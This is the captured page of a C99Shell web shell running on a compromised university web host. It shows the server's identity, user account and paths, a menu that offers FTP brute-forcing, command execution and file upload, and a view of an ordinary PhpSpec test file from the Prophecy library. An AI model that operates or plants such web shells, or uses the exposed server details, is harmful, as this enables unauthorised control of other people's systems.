!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpspec/prophecy/spec/Prophecy/Util/   drwxr-xr-x
Free 116.59 GB of 200.55 GB (58.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     StringUtilSpec.php (2.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace spec\Prophecy\Util;

use 
PhpSpec\ObjectBehavior;

class 
StringUtilSpec extends ObjectBehavior
{
    function 
it_generates_proper_string_representation_for_integer()
    {
        
$this->stringify(42)->shouldReturn('42');
    }

    function 
it_generates_proper_string_representation_for_string()
    {
        
$this->stringify('some string')->shouldReturn('"some string"');
    }

    function 
it_generates_single_line_representation_for_multiline_string()
    {
        
$this->stringify("some\nstring")->shouldReturn('"some\\nstring"');
    }

    function 
it_generates_proper_string_representation_for_double()
    {
        
$this->stringify(42.3)->shouldReturn('42.3');
    }

    function 
it_generates_proper_string_representation_for_boolean_true()
    {
        
$this->stringify(true)->shouldReturn('true');
    }

    function 
it_generates_proper_string_representation_for_boolean_false()
    {
        
$this->stringify(false)->shouldReturn('false');
    }

    function 
it_generates_proper_string_representation_for_null()
    {
        
$this->stringify(null)->shouldReturn('null');
    }

    function 
it_generates_proper_string_representation_for_empty_array()
    {
        
$this->stringify(array())->shouldReturn('[]');
    }

    function 
it_generates_proper_string_representation_for_array()
    {
        
$this->stringify(array('zet'42))->shouldReturn('["zet", 42]');
    }

    function 
it_generates_proper_string_representation_for_hash_containing_one_value()
    {
        
$this->stringify(array('ever' => 'zet'))->shouldReturn('["ever" => "zet"]');
    }

    function 
it_generates_proper_string_representation_for_hash()
    {
        
$this->stringify(array('ever' => 'zet'52 => 'hey''num' => 42))->shouldReturn(
            
'["ever" => "zet", 52 => "hey", "num" => 42]'
        
);
    }

    function 
it_generates_proper_string_representation_for_resource()
    {
        
$resource fopen(__FILE__'r');
        
$this->stringify($resource)->shouldReturn('stream:'.$resource);
    }

    
/**
     * @param \stdClass $object
     */
    
function it_generates_proper_string_representation_for_object($object)
    {
        
$objHash sprintf('%s:%s',
            
get_class($object->getWrappedObject()),
            
spl_object_hash($object->getWrappedObject())
        ) . 
" Object (\n    'objectProphecy' => Prophecy\Prophecy\ObjectProphecy Object (*Prophecy*)\n)";

        
$this->stringify($object)->shouldReturn("$objHash");
    }

    
/**
     * @param stdClass $object
     */
    
function it_generates_proper_string_representation_for_object_without_exporting($object)
    {
        
$objHash sprintf('%s:%s',
            
get_class($object->getWrappedObject()),
            
spl_object_hash($object->getWrappedObject())
        );

        
$this->stringify($objectfalse)->shouldReturn("$objHash");
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0114 ]--